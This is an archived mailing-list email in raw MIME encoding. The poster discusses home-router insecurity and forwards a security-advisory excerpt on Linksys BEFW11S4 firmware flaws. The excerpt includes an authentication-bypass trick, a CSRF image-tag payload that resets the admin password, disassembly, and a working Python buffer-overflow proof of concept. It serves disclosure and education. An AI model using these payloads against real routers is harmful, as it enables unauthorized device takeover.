No subject
Thu Jan 29 20:10:55 MST 2009
er
overflows. And although we haven't been able to execute arbitrary code=20
abusing any of this bugs=2C we do not discard the possibility. There are so=
me=20
linked lists handling (related to active connections)=2C and some function =
pointers=20
(related to IRQ handling) probably too far ahead in the memory to be reacha=
ble=20
with one of these buffer overflows.
Some of the variables which are copied using strcpy() are:
"V_nameA" through "V_nameJ"=2C "Vn?" where "?" is one of 30 different=20
characters=2C
"ApName0" through "ApName9"=2C "hostName"=2C "DomainName"=2C "sysPasswd"=2C
"wirelessESSID"=2C "Passphrase"=2C "pppoeUName"=2C "pppoePWD"=2C "pppoeSNam=
e"=2C
"community1"=2C "community2"=2C "community3"=2C "community4"=2C probably ot=
hers.
*REFERENCES:*
[1] Universal Plug and Play Device Architecture=2C version 1.0
http://www.upnp.org/download/UPnPDA10_20000613.htm
[2] Linksys router vulnerability
http://online.securityfocus.com/archive/1/300402
[3] iDefense security advisory
http://www.idefense.com/advisory/11.19.02a.txt
----------end excerpt-------
Just FYI=2C these exploits have only partially been resolved by Cisco.
KNOW YOUR weakness!=20
This is also a great page also:
http://attrition.org/security/rant/
http://wiki.obnosis.com | http://hackfest.obnosis.com | http://nuke.obnosis=
.com (503)754-4452
PLUG HACKFESTS - http://uat.edu Second Saturday of Each Month Noon - 3PM
_________________________________________________________________
Windows Live=99 Hotmail=AE=85more than just e-mail.=20
http://windowslive.com/howitworks?ocid=3DTXT_TAGLM_WL_t2_hm_justgotbetter_h=
owitworks_012009=
--_1193da22-9b32-4b8e-874e-df0246811463_
Content-Type: text/html; charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable
<html>
<head>
<style>
.hmmessage P
{
margin:0px=3B
padding:0px
}
body.hmmessage
{
font-size: 10pt=3B
font-family:Verdana
}
</style>
</head>
<body class=3D'hmmessage'>
Most home based routers can be easily exploited in a variety of ways. =
=3B =3B <br><br>This is a list of a great many historic security exploi=
ts: http://attrition.org/security/advisory/ =3B <br><br>...but it's pro=
bably going to work best to just google your router version.<br><br>Even th=
e open-wrt and dd-wrt 3rd party firmware versions will overflow a buffer an=
d allow "special features" including standard SSL and SSH exploits for any =
port open including failing to protect http/XML sources from an external at=
tack under a distributed attack.<br><br>Many owners of Netgear and Linksys =
like running their own shell based routers=2C since they can more easily se=
tup special features especially P2P passthrough=2C VPNs and easy tunnels vi=
a command line=2C and ssh easily through. =3B However=2C it's a fallacy=
that they are more secure or faster. =3B They do not compete with the =
IPS features of packet inspection features and Layer 2 switching available =
in some of the newer multi-processor "business router" models. =3B But =
if you really need a secure network=2C a Cisco ASA is recommended (but be s=
ure to know the IOS and firmware version exploits also!)<br><br>For more in=
formation on fun that can be had via WRT firmware see:<br><br>http://openwr=
t.org<br>http://www.dd-wrt.com/dd-wrtv3/index.php<br><br>It's fairly easy i=
n 15 minutes to determine if your "router" is on the equipment compat list =
via google.<br><u><br>WRT is not recommended unless you can manipulate file=
s and understand command line systems. </u><br><pre>Belkin/Netgear/LinkSys =
have an extensive list of known exploits - it's best to check what is broke=
n on your firmware via Google.<br><br>It's a good idea to check for WRT'abl=
e versions - for instance the Cisco older teeny routers with the ARM proces=
sor had too small of memory to really be WRT-d=2C therefore this<br>is a go=
od choice - I bought one at a garage sale for $1.00 (and I add it as a seco=
nd level of NAT complexity to my network for various reasons).<br><br>Excer=
pted from http://attrition.org/security/advisory/core/core-2002-10-05.links=
ys (full list of the same old exploits around for some time described):<br>=
<br>Workarounds*<br><br> - Disable "Remote Management" if it's enabled. <=
br><br><br>This will restrict the exploitability of the bugs to the local n=
etwork=2C or require a little smarter attack=2C for example=2C<br>an email =
with an embedded Img tag may=2C upon reading=2C enable "Remote Management"=
=2C giving the attacker full control<br>of the appliance across the interne=
t=2C especially if your admin username is Admin and your password saved in =
your cache. <br><br>For example:<br><br><=3BImg Src=3Dhttp://192.168.1.1/=
Gozila.cgi?setPasswd=3Dhola&=3BRemoteManagement=3D1&=3B.xml=3D1>=3B=
<br><br> - Remote Management port can be changed. <br><br>This will not m=
ake the attack impossible at all=2C but will somehow make it a little tough=
er for an<br>attacker=2C probably giving you some more time to detect her.<=
br><br><br>Authentication Bypassing vulnerabilities:<br>~~~~~~~~~~~~~~ ~~~~=
~~~~~ ~~~~~~~~~~~~~~~<br><br>This vulnerability was independently discovere=
d and reported to Linksys <br>by at least two other persons. Seth Bromberge=
r posted a report to bugtraq about<br>this vulnerability (see [2]). It was =
partially fixed in firmware v1.43.3=2C<br>but it's still possible to exploi=
t it=2C keep on reading.<br><br>As part of the UPnP implementation [1]=2C t=
he Linksys family of products <br>multicast their features as part of UPnP'=
s Discovery step. For this UDP packets <br>are sent from port 1901 to multi=
cast address 239.255.255.250 port 1900. The following<br>are two examples o=
f such packets' data.<br><br>NOTIFY * HTTP/1.1<br>HOST:239.255.255.250:1900=
<br>Cache-Control:max-age=3D120<br>Location:http://192.168.1.1:5678/rootDes=
c.xml<br>NT:uuid:upnp-InternetGatewayDevice-1_0-0090a2777777<br>NTS:ssdp:al=
ive<br>Server:NT/5.0 UPnP/1.0<br>USN:uuid:upnp-InternetGatewayDevice-1_0-00=
90a2777777<br><br><br>NOTIFY * HTTP/1.1<br>HOST:239.255.255.250:1900<br>Cac=
he-Control:max-age=3D120<br>Location:http://192.168.1.1:5678/rootDesc.xml<b=
r>NT:urn:schemas-upnp-org:device:InternetGatewayDevice:1<br>NTS:ssdp:alive<=
br>Server:NT/5.0 UPnP/1.0<br>USN:uuid:upnp-InternetGatewayDevice-1_0-0090a2=
777777::urn:schemas-upnp-org:device:InternetGatewayDevice:1<br><br>In respo=
nse to these packets=2C an UPnP control point will retrieve a <br>descripti=
on from the URL supplied in the NOTIFY packet=2C using the HTTP protocol. I=
n our<br>case this URL is http://192.168.1.1:5678/rootDesc.xml=2C and no au=
thentication<br>is needed to access it (you can test this using the browser=
of your choice).<br>In order to answer requests to port 5678 and to serve =
remote administration<br>pages on port 80=2C Linksys' products use the same=
embedded HTTP server<br>"application".<br><br>The HTTP server will check t=
he requested URL for the substring ".xml"=2C <br>if this substring is prese=
nt=2C all the authentication verification code will be just<br>skipped=2C l=
ets see the following ARM assembly fragment=2C extracted from a<br>firmware=
image:<br><br>01797E LDR R0=2C =3DHTTPRequest<br>017980 STR R7=2C [R0=2C#H=
ttpRequest.buffer]<br>017982 LDR R0=2C =3DHTTPRequest<br>017984 LDRH R0=2C =
[R0=2C#HttpRequest.method_length]<br>017986 ADD R0=2C R0=2C R7<br>017988 AD=
D R0=2C #1<br>01798A LDR R1=2C =3DHTTPRequest<br>01798C STR R0=2C [R1=2C#Ht=
tpRequest.path]<br>01798E ADD R0=2C R7=2C #0<br>017990 ADR R1=2C a_xml_0 =
=3B ".xml"<br>017992 BL strstr =3B (string=2C subst)<br>017996 CMP R0=2C #0=
<br>017998 BEQ loc_179A2 =3B read more from net and do auth<br>01799A MOV R=
0=2C #0<br>01799C LDR R1=2C =3DHTTPRequest<br>01799E STRH R0=2C [R1=2C#Http=
Request.has_args+2]<br>0179A0 B loc_17ACE =3B skip auth<br><br>As this code=
is shared for serving UPnP requests (on port 5678) and any <br>other HTTP =
requests=2C the authentication can be bypassed just adding the string<br>".=
xml" anywhere in the requested URL: The function strstr() at 0x17992 will<b=
r>answer there is a substring matching ".xml" and the conditional jump at<b=
r>0x17ACE will skip the authentication verification code (and some other <b=
r>code as well).<br><br>These checks were reinforced with additional compar=
isons. The idea was to<br>authorize requests without authentication only fo=
r /rootDesc.xml=2C<br>/Layer3Forwarding.xml=2C /WANCfg.xml and WANIPCn.xml.=
But the request is <br>parsed in=2C at least=2C two different places in th=
e code=2C and these two parsings <br>are not coherent=2C so there is a stil=
l a way to bypass the authentication. We <br>will not go through the code t=
his time=2C but if you replace the correct line in<br>linksys_exploit.py (b=
elow) you would be able to access the Remote Management<br>interface withou=
t having the correct password:<br><br>self.toSend =3D "BBB /Log.htm GET /ro=
otDesc.xml"<br><br>There are other ways to exploit this bug=2C for example=
=2C we've been able to<br>craft an HTML page which=2C when loaded=2C change=
s the Remote Management <br>password=2C and enables Remote Management throu=
gh the internet. Of course=2C this page <br>could be attached to an email=
=2C and be used to perform these changes "from the<br>internet=2C even when=
the Remote Management feature is disabled".<br><br>Additionally=2C in firm=
ware v1.43.3 three other authentication bypassing<br>vulnerabilities were i=
ntroduced. These new vulnerabilities work in <br>pretty much the same way a=
s the original ".xml" vulnerability=2C but the new magic strings<br>are dif=
ferent: "TxRxTest"=2C "CalibrationTest" and "WriteCalibration". Linksys<br>=
reported that these vulnerabilities are only present in the wireless <br>pr=
oducts of the family. It's worth to mention that we haven't verified the se=
curity<br>implications (if there are any) of allowing unauthorized access t=
o these <br>three requests.<br><br>Stack Based Buffer Overflows:<br>~~~~~ ~=
~~~~ ~~~~~~ ~~~~~~~~~<br><br>Following the previously described code=2C if =
the request line does not <br>contain the substring ".xml"=2C if it's a GET=
request and=2C after what we believe is a<br>small delay=2C a second part =
of the request is read from the net. On entry to<br>this function=2C space =
is allocated in the stack for local variables and<br>buffers. Only 0x1FC+0x=
1F0 =3D 1004 bytes are reserved.<br><br>01791C PUSH {R0-R2=2CR4-R7=2CLR}<br=
>01791E ADD R7=2C R0=2C #0<br>017920 SUB SP=2C SP=2C #0x1FC<br>017922 SUB S=
P=2C SP=2C #0x1F0<br>017924 LDR R0=2C =3Dunk_A016C<br><br>Then=2C 1596 byte=
s are read from the net into a local buffer in the stack.<br>Not every requ=
est will have enough bytes to overflow the buffer=2C and that's<br>why the =
code doesn't usually crash. But if a long request is sent=2C the <br>buffer=
is overflown and the stack can be modified "a piaccere". Note that the <br=
>"first fragment" is read before entering these functions=2C into another b=
uffer<br>allocated in the stack.<br><br>0179E4 ADD SP=2C SP=2C #4<br>0179E6=
LDR R0=2C [R6=2C#HttpRequest.response_length]<br>0179E8 CMP R0=2C #0<br>01=
79EA BEQ loc_187D8<br>0179EC MOV R1=2C SP<br>0179EE LDR R0=2C [SP=2C#connec=
tion_id]<br>0179F0 LDR R2=2C =3D1596<br>0179F2 BL read_from_net =3B (sock=
=2C buffer=2C buffer_size)<br>0179F6 ADD R4=2C R0=2C #0<br>0179F8 ADD R2=2C=
R4=2C #0<br>0179FA ADR R1=2C aSFP =3B "Second fragmented packe.."<br>0179F=
C MOV R0=2C #2<br>0179FE BL log =3B (loglevel=2Cchar *format=2C...)<br>017A=
02 MOV R1=2C #0<br>017A04 MOV R0=2C SP<br>017A06 STRB R1=2C [R0=2CR4]<br>01=
7A08 MOV R1=2C SP<br>017A0A ADD R0=2C R7=2C #0<br>017A0C BL strcat<br><br>T=
here is a another problem on this code fragment. After reading the second<b=
r>fragment of the request=2C strcat() is used to append it to the first <br=
>fragment=2C but the first fragment is also stored in a local buffer of 159=
6 bytes.<br>While this is in fact a buffer overflow=2C its exploitability i=
s not yet<br>determined=2C as we are dealing with a bigendian setup=2C and =
all valid memory<br>addresses contain a zero in their most significant byte=
... But we've seen<br>tougher bugs exploited=2C so...<br><br>This second vu=
lnerability regarding strcat() was partially fixed on <br>firmware v1.43.3.=
Partially for two different reasons:<br><br>On one side=2C there are two c=
allers of this function=2C from what we could<br>determine one caller is re=
sponsible for requests done to the Remote<br>Management port=2C and the oth=
er caller answers requests to port 5678.<br>Only one of these functions was=
fixed (extending the buffer size from 1596<br>to 3192)=2C but the other fu=
nction (the one answer requests on port 5678) is<br>still allocating only 1=
596 bytes. You can test this vulnerability changing<br>the correct line in=
=2C again=2C linksys_exploit.py to:<br><br>self.s.connect(('192.168.1.1'=2C=
5678))<br><br>For this to work=2C UPnP must be enabled (at least on v1.43.3=
)<br><br>On the other side this is only a partial fix because=2C although t=
he<br>buffer was enlarged from 1596 to 3192=2C the read() for the first fra=
gment<br>was also increased from 1596 to 3192 bytes=2C and the strcat() wou=
ld still<br>overflow the buffer if there are more than 1596 bytes to read f=
or the first<br>fragment. This does not immediately lead to a vulnerability=
=2C as Linksys'<br>internal TCP implementation will not return more than MT=
U bytes on a<br>single read=2C but if this fact is changed in the future=2C=
this vulnerability<br>will mysteriously re-appear.<br><br>The following py=
thon program will exploit the first of the two buffer<br>overflows=2C and r=
edirect the execution flow to jump to the address <br>0x175fa (only valid f=
or BEFW11S4 for firmware v1.42.7. For v1.43 or other appliances <br>you'll =
have to change it). For this proof of concept exploit we are not introducin=
g<br>our own code (or "shellcode")=2C we are rather using code already pres=
ent <br>in the firmware=2C with the only purpose of showing the exploitabil=
ity of the bug.<br><br><br>------- linksys_exploit.py --------<br>import so=
cket<br>import struct<br>import select<br><br>class Exploit:<br>def __init_=
_(self):<br>pass<br><br>def setup(self):<br>self.s =3D socket.socket(socket=
.AF_INET=2C socket.SOCK_STREAM)<br>self.s.connect(('192.168.1.1'=2C80))<br>=
<br>self.returnAddress =3D 0x1834c # 1.43 log(2=2C"unknown file name!")<br>=
self.returnAddress =3D 0x175fa # 1.42.7 log(2=2C"unknown file name!")<br><b=
r>self.paddingSize =3D 1500-20-20+1004+7*4<br># 1500 is MTU<br># 20 IP head=
er<br># 20 TCP header<br># 1004 for allocated space<br># 7 saved registers<=
br>self.toSend =3D "GET "<br>self.toSend +=3D "A"*(self.paddingSize-len(sel=
f.toSend))<br>self.toSend +=3D struct.pack(">=3BL"=2C self.returnAddress)=
<br><br>def attack(self):<br>self.s.send(self.toSend)<br>(r=2Cw=2Cx) =3D se=
lect.select([self.s]=2C[]=2C[]=2C2)<br>if self.s in r:<br>print self.s.recv=
(100000)<br>self.s.close()<br><br>def run(self):<br>self.setup()<br>self.at=
tack()<br><br>def main():<br>ex =3D Exploit()<br>ex.run()<br><br>main()<br>=
-----------------------------------<br><br>To understand what the code at t=
he chosen address does=2C we need some more<br>insight in what are firmware=
's capabilities.<br><br>In the previous assembly fragment=2C at 0x179FE you=
can see a function we <br>named log() being called. This function will sen=
d an SNMP trap to the <br>configured SNMP server. The first argument (2 in =
this example) is a bitmask indicating the<br>facility the message applies t=
o. You can configure your SNMP server from the<br>Log tab in the HTTP admin=
istration page. From this page you can also <br>enable or disable the "Acce=
ss" facility. If you check the source for that page=2C<br>you'll see it's s=
etting bit 0 of the rLog variable. The other meaningful <br>bits are=2C app=
arently 1=2C2 and 3=2C "System"=2C "PPPoE &=3B RAS" and "NAT" facilities=
=2C<br>respectively. We first thought we would have to manually deal with <=
br>bits!=2C but we later found there is a page you can use to change these =
values=2C if your<br>Linksys appliance is at 192.168.1.1 you can try your p=
referred browser on<br>http://192.168.1.1/LogManage.htm. This page is not r=
eachable from any other<br>page in the Remote Management system.<br><br>Bac=
k to where we left. The described code fragment is calling log(2=2C "Second=
<br>fragmented packet comes in=2C len=3D%d"=2C len). In order to see the SN=
MP trap<br>generated we'll have to enable facility "System" and setup our S=
NMP traps<br>server. After doing this=2C you should start seeing SNMP traff=
ic coming from<br>the appliance. If you don't want to use a sniffer=2C you =
can either download<br>some SNMP monitoring application=2C use one you alre=
ady have=2C use netcat <br>or use the python program included=2C which just=
dumps incoming packets to UDP port<br>162... which is a little more than e=
nough.<br><br>Back to the last remaining bit of the exploit=2C the code we =
are jumping <br>to is:<br><br>0175FA MOV R0=2C #1<br>0175FC LDR R1=2C =3Dun=
k_A0180<br>0175FE STR R0=2C [R1=2C#0x20]<br>017600 ADR R1=2C aUnknownFileNa=
m =3B "Unknown File Name !"<br>017602 MOV R0=2C #2<br>017604 BL log<br><br>=
This code just sends an SNMP trap with the string "Unknown File Name !"<br>=
through the network. So=2C if the exploit works and you are able to see SNM=
P<br>traps=2C you'll see this string on the net. After this the appliance w=
ill <br>reboot itself=2C and start working again=2C without loosing any con=
figuration. If you are doing <br>all this on a wireless connection as we di=
d=2C you may need to rescan/reconnect to the AP in <br>order for it to work=
again (probably only true if WEP is enabled)<br><br>------- snmp-traps.py =
--------<br>import socket<br><br>class SNMPTrapsServer:<br>def __init__(sel=
f):<br>pass<br><br>def start(self):<br>self.s =3D socket.socket(socket.AF_I=
NET=2C socket.SOCK_DGRAM)<br>self.s.bind(("0"=2C162))<br>while 1:<br>snmp =
=3D self.s.recv(1500)<br>print snmp[73:]<br><br>def stop(self):<br>self.s.c=
lose()<br><br>server =3D SNMPTrapsServer()<br>server.start()<br>server.stop=
()<br>------------------------------<br><br>"Heap" Based Buffer Overflows:<=
br>~~~~~~ ~~~~~ ~~~~~~ ~~~~~~~~~<br><br>Configuration is maintained in glob=
al variables on fixed locations=2C <br>there is no dynamic heap allocation =
routines in the firmware=2C as far as we could<br>determine. From what we s=
aw=2C every string variable is copied from the HTTP<br>request to the globa=
l storage using strcpy()=2C what directly turns every <br>string variable i=
n a possibility of causing a buffer overflow.<br><br>Ignoring the authentic=
ation bypassing bugs (which will hopefully be fixed<br>now)=2C to be able t=
o overflow any of these buffers=2C an attacker must be<br>authenticated=2C =
and even then=2C we are not sure how much damage can be done.<br> <br>From =
our tests=2C it is possible to force a reboot using some of these buffer<br=
>overflows. And although we haven't been able to execute arbitrary code <br=
>abusing any of this bugs=2C we do not discard the possibility. There are s=
ome <br>linked lists handling (related to active connections)=2C and some f=
unction pointers <br>(related to IRQ handling) probably too far ahead in th=
e memory to be reachable <br>with one of these buffer overflows.<br><br>Som=
e of the variables which are copied using strcpy() are:<br><br>"V_nameA" th=
rough "V_nameJ"=2C "Vn?" where "?" is one of 30 different <br>characters=2C=
<br>"ApName0" through "ApName9"=2C "hostName"=2C "DomainName"=2C "sysPasswd=
"=2C<br>"wirelessESSID"=2C "Passphrase"=2C "pppoeUName"=2C "pppoePWD"=2C "p=
ppoeSName"=2C<br>"community1"=2C "community2"=2C "community3"=2C "community=
4"=2C probably others.<br><br><br>*REFERENCES:*<br><br>[1] Universal Plug a=
nd Play Device Architecture=2C version 1.0<br>http://www.upnp.org/download/=
UPnPDA10_20000613.htm<br><br>[2] Linksys router vulnerability<br>http://onl=
ine.securityfocus.com/archive/1/300402<br><br>[3] iDefense security advisor=
y<br>http://www.idefense.com/advisory/11.19.02a.txt<br><br>----------end ex=
cerpt-------<br><br><br>Just FYI=2C these exploits have only partially been=
resolved by Cisco.<br></pre><i>KNOW YOUR weakness</i>! <br><br>This is als=
o a great page also:<br>http://attrition.org/security/rant/<br><font size=
=3D"1"><br>http://wiki.obnosis.com | http://hackfest.obnosis.com | http://n=
uke.obnosis.com (503)754-4452<br></font>PLUG HACKFESTS - http://uat.edu Sec=
ond Saturday of Each Month Noon - 3PM<br><br><br><br /><hr />Windows Live=
=99 Hotmail=AE=85more than just e-mail. <a href=3D'http://windowslive.com/=
howitworks?ocid=3DTXT_TAGLM_WL_t2_hm_justgotbetter_howitworks_012009' targe=
t=3D'_new'>See how it works.</a></body>
</html>=
--_1193da22-9b32-4b8e-874e-df0246811463_--
More information about the PLUG-discuss
mailing list